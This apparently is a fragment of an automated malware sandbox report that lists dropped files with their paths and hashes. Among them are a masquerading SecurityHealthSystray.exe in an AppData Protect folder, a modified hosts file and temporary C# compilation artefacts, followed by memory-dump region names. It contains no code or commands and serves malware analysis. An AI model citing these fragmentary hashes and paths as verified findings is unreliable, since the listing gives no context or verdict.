MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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dwg13p4f.dll

Path C:\Users\Admin\AppData\Local\Temp\dwg13p4f\dwg13p4f.dll
Size 4KB
SHA256 37c40c9fc253c62b74033620a97cff44142e3b9312518b663d7629baa5c8f0e0
MD5 67137f26e3a5b5cdd985cdf89eaaefe1
SHA1 a3e5b7e51887af92ece6a5717dbb82542684dee8
SHA512 49d29ec8c25b2dc465e7d25051e186c21646d993ada92bf083ae67c5678b8e799b2939e48a7e16fca2be8e01472de99e850e35793b4770522c999577126105f5
MD5 SHA1 SHA512

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SecurityHealthSystray.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
Size 9.8MB
SHA256 b823cd4b5f51c2aca5da001c8d9f1a48489ef27370bbf639549913843e1be699
MD5 cfe962e1730123425862d3ed1f87357e
SHA1 fdb545123e742f82fdfc6f60b9fb36b7f273e317
SHA512 f99f3c00a00ec12cbfce9e65508429ba71cd4bd4efa2a48ef7e34e2295c9cfba5322457839723088052f7a91b3653687cdade2aadd8a788a55903fe0a3bacfc4
SSDEEP 98304:ujoGgersz5XxkXX9jKNkeEkRJVEWpJBJZrZ6QmEHr:ujzrszc4NkeE+Jm85mEHr
MD5 SHA1 SHA512 SSDEEP

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hosts

Path C:\Windows\System32\drivers\etc\hosts
Size 2KB
SHA256 ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
MD5 6e2386469072b80f18d5722d07afdc0b
SHA1 032d13e364833d7276fcab8a5b2759e79182880f
SHA512 e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb
MD5 SHA1 SHA512

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CSC95D52C758ED3465FA4EC26E68A16A22.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\dwg13p4f\CSC95D52C758ED3465FA4EC26E68A16A22.TMP
Size 652B
SHA256 fef050741de4e44c89b11f047d6df9e884b7be9d396ac43270138bfd35a0d939
MD5 63b252d20ce6ddad9200ae2d08554310
SHA1 1fb9aa9e28c9930ed5cd27e330e1d13217e001d5
SHA512 f2601f0181a62d287d37a01e4f2132de98a55ed6b139545ffa401926fad4e07533d9e20101e75f022383098b565308b2fe14a405a1add2ca2e159798dddd8ea9
MD5 SHA1 SHA512

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dwg13p4f.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\dwg13p4f\dwg13p4f.0.cs
Size 1004B
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
MD5 SHA1 SHA512

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dwg13p4f.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\dwg13p4f\dwg13p4f.cmdline
Size 607B
SHA256 50a60540302c06adfe0c08007a404cc7e763866011becc1d55a69e73516ae59c
MD5 dd870bfb1576082007d0e54da0229c01
SHA1 afa10dcb14899af18d07bb7707a1bc48da6d5f97
SHA512 bfa7b1b77624313ff59fb3a9c0d3d7b6613adf4b598f720c790e44d59fb0f5fa8a3046979c8427fcf16c92373f091e34d4d1dbee19e1afdaa70fc0108a3a3084
MD5 SHA1 SHA512

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memory/3204-1-0x00007FFC5A7C3000-0x00007FFC5A7C5000-memory.dmp

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memory/3204-21-0x00007FFC5A7C0000-0x00007FFC5B281000-memory.dmp

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memory/3204-15-0x00007FFC5A7C0000-0x00007FFC5B281000-memory.dmp

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memory/3204-10-0x00007FFC5A7C0000-0x00007FFC5B281000-memory.dmp

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memory/3204-9-0x000001F471B90000-0x000001F471BB2000-memory.dmp

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memory/4460-61-0x0000016C53700000-0x0000016C53708000-memory.dmp

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